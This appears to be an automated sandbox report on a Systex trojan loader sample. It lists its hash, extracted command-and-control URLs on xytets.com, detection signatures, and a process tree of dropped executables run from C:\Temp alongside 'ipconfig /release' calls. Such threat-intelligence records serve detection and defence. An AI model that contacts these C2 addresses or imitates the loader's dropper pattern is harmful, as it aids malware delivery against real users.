Analysis
- max time kernel
148s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/08/2026, 21:51
General
- Target 2026-08-10_bacb5c976fdd5c9a1d14baf7c66d91ae_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
- Size 291KB
- Sample260810-1q1ehszapb
- SHA256 481d1b5ee9546b7041de34f6c31b99ef1e4cd20f4179faa514dd0c73cce5c928
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba8102
-
http://xytets.com:2345/ll/out.txt
-
http://xytets.com:2345/t.asp?os=home8102
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- UPX dump on OEP (original entry point) 64 IoCs
- Executes dropped EXE 64 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 41 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 6 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-10_bacb5c976fdd5c9a1d14baf7c66d91ae_coinminer_elex_redline-stealer_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-10_bacb5c976fdd5c9a1d14baf7c66d91ae_coinminer_elex_redline-stealer_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home81022⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"3⤵
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffc6c0dc188,0x7ffc6c0dc194,0x7ffc6c0dc1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2156,i,8226932125802049492,18088230885058908570,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=2652 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1980,i,2291376861393119880,17523109024476540637,262144 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=2536 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2632,i,12583912375026459956,6752222842073416049,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3576,i,15961623831236639857,10493254744871541699,2097152 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3580,i,8137630278642272198,196541569168063431,2097152 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=3872 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4428,i,3991622602425079634,17653570037917124129,2097152 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=4504 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4252,i,9204299862099097271,17832593547017806421,2097152 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=4444 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4264,i,16000805181732890472,17020770371871623364,2097152 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=4448 /prefetch:94⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3992,i,8783035640292393321,15078919480262653243,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=5472 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5488,i,6515916024269588144,13604458522372956490,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5556,i,8188006977437259634,15823773201589002444,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6252,i,5033508249505348173,4345600958639730521,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6252,i,5033508249505348173,4345600958639730521,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6440,i,8082002780441885018,1748672057973646755,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=6504 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6656,i,2433727312443455865,18174413522774567510,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=6640 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6600,i,13149377710107722539,10200592331733035857,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=6520 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6580,i,3300366091096730111,7374513207562561823,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=6556 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3960,i,9637713552876090640,543632766001565124,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=4492 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4520,i,16522880394480801333,3938717904789211647,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=7016 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4448,i,4090060919064236385,105945353860915946,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=6916 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6856,i,16938473536314885242,13787541618975634963,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=6840 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5644,i,62293330959642802,9670044704716988579,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=6364 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7072,i,11160831988899106424,6976834144284358973,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=7052 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5484,i,11679638205184098763,9153308988833149749,262144 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=6640 /prefetch:104⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6364,i,16341149657781706642,6316873581632558547,524288 --field-trial-handle=2540,i,14534958989619458769,17412443473288925081,262144 --variations-seed-version --mojo-platform-channel-handle=5856 /prefetch:144⤵
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\olgbwoidyw.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\olgbwoidyw.exeC:\Temp\olgbwoidyw.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_olgbwoidyw.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_olgbwoidyw.exeC:\Temp\i_olgbwoidyw.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\gdywqoigay.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\gdywqoigay.exeC:\Temp\gdywqoigay.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_gdywqoigay.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_gdywqoigay.exeC:\Temp\i_gdywqoigay.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\qoifayvqni.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\qoifayvqni.exeC:\Temp\qoifayvqni.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_qoifayvqni.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_qoifayvqni.exeC:\Temp\i_qoifayvqni.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\nifayspnif.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\nifayspnif.exeC:\Temp\nifayspnif.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_nifayspnif.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_nifayspnif.exeC:\Temp\i_nifayspnif.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\xusqkiczus.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\xusqkiczus.exeC:\Temp\xusqkiczus.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_xusqkiczus.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_xusqkiczus.exeC:\Temp\i_xusqkiczus.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\causpkecau.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\causpkecau.exeC:\Temp\causpkecau.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_causpkecau.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_causpkecau.exeC:\Temp\i_causpkecau.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\frpmkeczxr.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\frpmkeczxr.exeC:\Temp\frpmkeczxr.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_frpmkeczxr.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_frpmkeczxr.exeC:\Temp\i_frpmkeczxr.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\bzurmjhbzt.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\bzurmjhbzt.exeC:\Temp\bzurmjhbzt.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_bzurmjhbzt.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_bzurmjhbzt.exeC:\Temp\i_bzurmjhbzt.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\wtomgeywqo.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\wtomgeywqo.exeC:\Temp\wtomgeywqo.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_wtomgeywqo.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_wtomgeywqo.exeC:\Temp\i_wtomgeywqo.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\gaytqljdyt.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\gaytqljdyt.exeC:\Temp\gaytqljdyt.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_gaytqljdyt.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_gaytqljdyt.exeC:\Temp\i_gaytqljdyt.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dbnlidbvtq.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\dbnlidbvtq.exeC:\Temp\dbnlidbvtq.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dbnlidbvtq.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_dbnlidbvtq.exeC:\Temp\i_dbnlidbvtq.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\vqnlfdxvtn.exe ups_run2⤵
-
C:\Temp\vqnlfdxvtn.exeC:\Temp\vqnlfdxvtn.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_vqnlfdxvtn.exe ups_ins2⤵
-
C:\Temp\i_vqnlfdxvtn.exeC:\Temp\i_vqnlfdxvtn.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\kicausnkfc.exe ups_run2⤵
-
C:\Temp\kicausnkfc.exeC:\Temp\kicausnkfc.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_kicausnkfc.exe ups_ins2⤵
-
C:\Temp\i_kicausnkfc.exeC:\Temp\i_kicausnkfc.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ausmkecxup.exe ups_run2⤵
-
C:\Temp\ausmkecxup.exeC:\Temp\ausmkecxup.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ausmkecxup.exe ups_ins2⤵
-
C:\Temp\i_ausmkecxup.exeC:\Temp\i_ausmkecxup.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\jhczurmkec.exe ups_run2⤵
-
C:\Temp\jhczurmkec.exeC:\Temp\jhczurmkec.exe ups_run3⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
